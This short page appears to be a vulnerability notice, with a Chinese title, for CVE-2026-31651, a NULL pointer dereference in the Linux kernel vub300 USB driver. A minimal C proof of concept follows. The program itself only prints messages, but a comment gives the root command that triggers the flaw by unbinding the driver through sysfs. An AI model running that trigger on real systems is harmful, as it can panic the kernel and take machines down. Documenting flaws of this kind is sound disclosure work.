CVE-2026-31651: Linux内核vub300驱动空指针解引用漏洞

/* * PoC for CVE-2026-31651 * Triggering the disconnect logic in vub300 driver. * This requires a system with the vulnerable driver loaded. */ #include <stdio.h> #include <stdlib.h> int main() { printf("Attempting to trigger vub300 disconnect vulnerability...\n"); // To trigger this vulnerability locally without physical removal, // one would typically unbind the driver from the USB device. // This simulates the disconnect event path. // Example command (requires root): // system("echo '1-1:1.0' > /sys/bus/usb/drivers/vub300/unbind"); // If the code path is vulnerable, the kernel will panic // due to a NULL pointer dereference in the disconnect handler. printf("Check dmesg for kernel panic or NULL pointer dereference\n"); return 0; }